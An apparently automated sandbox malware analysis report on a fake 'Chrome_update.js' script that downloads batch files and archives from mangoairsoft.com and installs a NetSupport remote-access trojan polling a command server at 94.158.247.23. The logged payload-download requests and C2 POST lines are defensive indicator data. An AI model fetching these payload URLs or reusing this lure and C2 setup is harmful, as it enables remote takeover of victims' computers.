Windows Analysis Report
Chrome_update.js

System process connects to network (likely due to code injection or exploit)

Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.3:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.3:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.3:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.3:49701 version: TLS 1.2

Source:	Binary string: msvcr100.i386.pdb source: 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.911355079.000000006F0D1000.00000020.00000001.01000000.0000000C.sdmp, client32.exe, 00000016.00000002.425934422.000000006F0D1000.00000020.00000001.01000000.0000000C.sdmp, client32.exe, 00000017.00000002.442852072.000000006F0D1000.00000020.00000001.01000000.0000000C.sdmp, msvcr100.dll.15.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.910282080.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.424736480.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.442419943.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.15.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.911218800.000000006F080000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.15.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\client32\Release\client32.pdb source: 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000000.412323829.0000000000242000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000012.00000002.908996646.0000000000242000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000016.00000000.422585453.0000000000242000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000016.00000002.424059492.0000000000242000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000017.00000000.440898927.0000000000242000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000017.00000002.441826424.0000000000242000.00000002.00000001.01000000.00000008.sdmp, client32.exe.15.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: 7zz.exe, 0000000F.00000003.399920793.0000000002836000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.15.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\Full\pcichek.pdb source: 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.912056852.0000000073512000.00000002.00000001.01000000.0000000A.sdmp, client32.exe, 00000016.00000002.427152630.0000000073512000.00000002.00000001.01000000.0000000A.sdmp, client32.exe, 00000017.00000002.443134336.0000000073512000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.911218800.000000006F080000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.15.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: 7zz.exe, 0000000F.00000003.399920793.0000000002836000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.15.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.911966685.000000006F935000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000016.00000002.426874731.000000006F935000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000017.00000002.443056390.000000006F935000.00000002.00000001.01000000.0000000B.sdmp, pcicapi.dll.15.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.910282080.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.424736480.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.442419943.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.15.dr

Source: C:\ProgramData\7zz.exe

Code function: 15_2_0040B174 __EH_prolog,FindFirstFileW,FindFirstFileW,FindFirstFileW,AreFileApisANSI,FindFirstFileA,

15_2_0040B174

Networking

Source: C:\Windows\System32\wscript.exe	Domain query: mangoairsoft.com
Source: C:\Windows\System32\wscript.exe	Network Connect: 188.127.230.147 443			Jump to behavior

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2827745 ETPRO TROJAN NetSupport RAT CnC Activity 192.168.2.3:49702 -> 94.158.247.23:5050

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 5050 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 5050 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 5050

Source: Joe Sandbox View

ASN Name: DHUBRU DHUBRU

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic

HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 62.172.138.67 62.172.138.67

Source: global traffic

HTTP traffic detected: GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?81197 HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: mangoairsoft.comConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.2.3:49702 -> 94.158.247.23:5050

Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23

Source: 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.911218800.000000006F080000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.15.dr	String found in binary or memory: http://%s/fakeurl.htm
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.911218800.000000006F080000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.15.dr	String found in binary or memory: http://%s/testpage.htm
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.911218800.000000006F080000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.15.dr	String found in binary or memory: http://%s/testpage.htmwininet.dll
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.910282080.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.424736480.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.442419943.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.15.dr	String found in binary or memory: http://127.0.0.1
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.910282080.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.424736480.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.442419943.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.15.dr	String found in binary or memory: http://127.0.0.1RESUMEPRINTING
Source: client32.exe, 00000012.00000002.909831459.00000000041B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.247.23/fakeurl.htm
Source: 7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: 7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: wscript.exe, 00000000.00000003.414375118.00000187DE968000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.414573767.00000187DE96D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.423778496.00000187DE96E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: 7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: 7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: 7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe.15.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: 7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: 7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: 7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: client32.exe, 00000012.00000003.424666384.0000000006263000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000016.00000002.424736480.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.442419943.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.15.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp
Source: client32.exe, 00000012.00000003.428077600.0000000006282000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.428827308.0000000006259000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.423017250.0000000006262000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.424012321.000000000625D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.426304165.0000000006263000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.424450797.0000000006259000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.423094602.000000000625D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.418804352.0000000006262000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.427853705.0000000006282000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.428424253.0000000006259000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.422749406.0000000006262000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.424666384.0000000006263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp8_(
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.910282080.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.424736480.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.442419943.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.15.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)
Source: client32.exe, 00000012.00000003.428827308.0000000006259000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.428424253.0000000006259000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspe
Source: client32.exe, 00000012.00000003.427318962.000000000176A000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.427449828.0000000001775000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.427594284.000000000177D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.425047789.0000000001773000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.425987309.000000000177D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/w
Source: 7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: 7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe.15.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002836000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.15.dr, TCCTL32.DLL.15.dr, remcmdstub.exe.15.dr, pcicapi.dll.15.dr	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002836000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.15.dr, TCCTL32.DLL.15.dr, remcmdstub.exe.15.dr, pcicapi.dll.15.dr	String found in binary or memory: http://s2.symcb.com0
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe.15.dr	String found in binary or memory: http://sf.symcb.com/sf.crl0f
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe.15.dr	String found in binary or memory: http://sf.symcb.com/sf.crt0
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe.15.dr	String found in binary or memory: http://sf.symcd.com0&
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002836000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.15.dr, TCCTL32.DLL.15.dr, remcmdstub.exe.15.dr, pcicapi.dll.15.dr	String found in binary or memory: http://sv.symcb.com/sv.crl0f
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002836000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.15.dr, TCCTL32.DLL.15.dr, remcmdstub.exe.15.dr, pcicapi.dll.15.dr	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002836000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.15.dr, TCCTL32.DLL.15.dr, remcmdstub.exe.15.dr, pcicapi.dll.15.dr	String found in binary or memory: http://sv.symcd.com0&
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe.15.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe.15.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe.15.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.910328086.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.424787693.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.442479428.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.15.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.910328086.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.424787693.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.442479428.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.15.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp11(L
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe.15.dr	String found in binary or memory: http://www.netsupportsoftware.com
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.910328086.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.424787693.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.442479428.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.15.dr	String found in binary or memory: http://www.pci.co.uk/support
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.910328086.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.424787693.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.442479428.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.15.dr	String found in binary or memory: http://www.pci.co.uk/supportsupport
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002836000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.15.dr, TCCTL32.DLL.15.dr, remcmdstub.exe.15.dr, pcicapi.dll.15.dr	String found in binary or memory: http://www.symauth.com/cps0(
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002836000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.15.dr, TCCTL32.DLL.15.dr, remcmdstub.exe.15.dr, pcicapi.dll.15.dr	String found in binary or memory: http://www.symauth.com/rpa00
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002836000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.15.dr, client32.exe.15.dr, TCCTL32.DLL.15.dr, remcmdstub.exe.15.dr, pcicapi.dll.15.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002836000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.15.dr, client32.exe.15.dr, TCCTL32.DLL.15.dr, remcmdstub.exe.15.dr, pcicapi.dll.15.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: wscript.exe, 00000000.00000002.423232138.00000187DE940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: CacheURL.dat.15.dr	String found in binary or memory: https://magydostravel.com/cdn/zwmrqqgqnaww.php
Source: wscript.exe, 00000000.00000003.413975275.00000187DC99A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.416738367.00000187DC99A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/
Source: wscript.exe, 00000000.00000003.413730350.00000187DE6EC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.413870529.00000187DE6F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf250
Source: wscript.exe, 00000000.00000003.413730350.00000187DE6EC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.385274963.00000187DE6E3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.413975275.00000187DC98F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.416738367.00000187DC96C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.414042240.00000187DC96C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee
Source: wscript.exe, 00000000.00000002.418793988.00000187DCA28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?8
Source: curl.exe, 00000008.00000002.396872502.0000016D98560000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.396620606.0000016D9859A000.00000004.00000020.00020000.00000000.sdmp, xcpCFFjZKLTFFLZfvqyQQKBvqwD.bat.0.dr, 11[1].bat.0.dr	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat
Source: curl.exe, 00000008.00000002.396872502.0000016D98560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat-o
Source: curl.exe, 00000006.00000002.395193868.000001925B630000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000006.00000002.395218986.000001925B66B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000006.00000003.394917156.000001925B66B000.00000004.00000020.00020000.00000000.sdmp, xcpCFFjZKLTFFLZfvqyQQKBvqwD.bat.0.dr, 11[1].bat.0.dr	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe
Source: curl.exe, 00000006.00000002.395193868.000001925B637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe-
Source: curl.exe, 00000004.00000002.391796622.0000023B8DD50000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000003.391545317.0000023B8DD78000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000002.391826816.0000023B8DD92000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000003.391564065.0000023B8DD79000.00000004.00000020.00020000.00000000.sdmp, sett.bat.1.dr, xcpCFFjZKLTFFLZfvqyQQKBvqwD.bat.0.dr, 11[1].bat.0.dr	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z
Source: curl.exe, 00000004.00000002.391796622.0000023B8DD50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z-
Source: 7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: 7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/
Source: 7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0

Source: unknown

HTTP traffic detected: POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 94.158.247.23Connection: Keep-AliveCMD=POLLINFO=1ACK=1Data Raw: Data Ascii:

Source: unknown

DNS traffic detected: queries for: mangoairsoft.com

Source: global traffic	HTTP traffic detected: GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?81197 HTTP/1.1Accept: /Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: mangoairsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z HTTP/1.1Host: mangoairsoft.comUser-Agent: curl/7.55.1Accept: /
Source: global traffic	HTTP traffic detected: GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe HTTP/1.1Host: mangoairsoft.comUser-Agent: curl/7.55.1Accept: /
Source: global traffic	HTTP traffic detected: GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat HTTP/1.1Host: mangoairsoft.comUser-Agent: curl/7.55.1Accept: /
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.3:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.3:49699 version: TLS 1.2
